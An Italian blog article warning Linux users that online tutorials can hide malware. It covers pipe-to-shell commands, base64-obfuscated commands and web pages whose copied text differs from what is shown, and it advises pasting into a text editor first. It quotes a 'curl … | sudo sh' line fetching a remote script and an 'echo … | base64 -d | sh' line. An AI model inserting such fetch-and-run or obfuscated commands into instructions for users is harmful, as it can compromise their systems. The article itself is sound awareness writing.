Tutorial malevoli e copypaste of doom: quando il malware, come le frasi non dette, si nasconde tra le righe

Internet, abbiamo tutti notato, è piena di guide e tutorial, specialmente per il mondo open-source. Questa abbondanza ha sicuramente contraddistinto questi ultimi due decenni e la rivoluzione .com, oltre a creare un senso di community attorno ad applicativi e sistemi operativi, ci ha salvato da lunghe ore di troubleshooting e/o letture varie in giro per internet.

Azzarderemmo a dire che anche una grossa fetta dell’utenza Linux sarebbe probabilmente già ritornata a Windows senza l’abbondanza di guide online su come fare qualsiasi cosa e, elemento da non trascurare, anche gli utenti più stagionati perderebbero giornalmente molto più tempo a reinventare la ruota se la Community non permettesse di risparmiare tempo evitando di risolvere nuovamente problemi già risolti da altri, milioni di volte.

V’è sempre da ricordare, comunque, un fattore fondamentale spesso dimenticato dai più: sul web, chiunque può scrivere qualsiasi cosa e non tutti gli esseri umani sono mossi da spirito benevolo di comunanza.

Non stiamo parlando di quelle pagine riempite fino all’orlo di pubblicità varie e invasive: sebbene vi sia un posto speciale anche per quei webmaster, è facilmente comprensibile come un sito abbia dei costi di funzionamento da sostenere e, a meno di malvertising, non v’è un danno subìto da chi legge.

Ciò che è imperdonabile, tuttavia, è – rullo di tamburi – l’inclusione di malware vero e proprio in tali guide e non ci stiamo riferendo a degli eseguibili da scaricare: sarebbe fin troppo ovvio e ci cascherebbero davvero in pochi, e, come abbiamo già visto, perché sforzarsi di creare un eseguibile binario quando la maggior parte di noi non ha né tempo né voglia di analizzare riga per riga gli script che in quel momento serve eseguire, magari per lavoro?

Se espressioni come curl http://sitoweb/script_a_caso_.sh | sudo sh vi fanno rabbrividire, siete sulla buona strada e, probabilmente, le notereste immediatamente nel codice anche con una semplice occhiata.

Ci domandiamo, però, se vi farebbero lo stesso effetto comandi come:

echo dXB0aW1l | base64 -d | sh

Il quale nasconde, codificato in base64, il comando uptime. È innocuo, ma non era affatto apparente che sarebbe stato eseguito in quella riga di codice e, come s’intuisce, in quella stringa poteva nascondersi qualunque altro comando, incluso un rm ricorsivo su tutto il drive.

Ora, direte: basta semplicemente incollare solo i comandi che si comprendono appieno, no?

Contro ogni aspettativa, la risposta è no: vi avevamo già illustrato, tempo addietro, come delle pagine web malevole opportunamente confezionate possano mostrarvi un comando completamente innocuo come un ls -l ma, nel momento in cui lo copierete, il contenuto di ciò che avete copiato non sarà quello che avete appena letto.

Come dimostrato nell’articolo linkato, anche un banale CONTROL+C su un comando di pochi caratteri come quello appena mostrato può in realtà mettervi negli appunti uno script anche di centinaia o migliaia di righe.

Il danno, però, non si concretizza fino a che non incollerete il testo appena copiato in un terminale, per farlo eseguire. Chiunque ci abbia provato conosce bene la comodità di copiare-incollare interi blocchi di comandi e, almeno su shell di default come bash e in mancanza di impostazioni personalizzate, ogni riga verrà eseguita una dopo l’altra in quanto ogni nuova linea ha a capo una newline (\n) ed essa è interpretata come un ENTER\INVIO.

Nel caso di un copy-paste malevolo, quindi, lo script verrebbe immediatamente eseguito appena lo incollerete in un terminale, con i privilegi che vi ritrovate in quel momento in quella particolare shell. Ciò potrebbe nuocere alla salute di quel PC, oltre che alla vostra. Un buon modo di proteggersi da questo attacco e incollare ciò che avete appena copiato dal web in un blocco note: ciò vi mostrerebbe in chiaro ciò che realmente è stato copiato e vi permetterebbe di cogliere eventuali attacchi del genere.

Scomodo? Si, ma mai quanto avere installato, voi stessi, una backdoor su un sistema di produzione, o l’aver accidentalmente fatto un rm ricorsivo su tutti i volumi montati.

Nonostante questo reminder, non possiamo non menzionare nuovamente come tutorial, wiki, guide e tutto ciò che è volto a farvi risparmiare tempo siano una benedizione e vi sono risorse come la Arch Wiki, tra le altre, che vi risparmiano anche lo sforzo di dover cercare altrove su Internet, su siti web che non sempre hanno a cuore i nostri migliori interessi.

Del resto, senza la condivisione della conoscenza, seppur con le dovute precauzioni e la sana paranoia e senso critico di chi poi legge, non vi è progresso.

Appassionato di Linux e della cultura open-source da vent'anni, continuo a fare del mio meglio per diffondere tale filosofia e soprattutto condividere la conoscenza.

C'è sempre qualcuno, laffuori, che sta avendo un problema che tu hai già risolto e, condividendo la soluzione, puoi fare la differenza.

Se quel qualcuno sei tu, chiedi pure alla community. La trovi ovunque, ad esempio su reddit.com/r/italyinformatica, reddit.com/r/debian, reddit.com/r/ubuntu, reddit.com/r/archlinux, reddit.com/r/linux, sui forum specifici delle distro come https://bbs.archlinux.org/ oppure puoi consultare direttamente le wiki, come ad esempio quella di Arch a https://wiki.archlinux.org/title/Table_of_contents.

Perchè nessun problema andrebbe risolto più di una volta.

Tags: , ,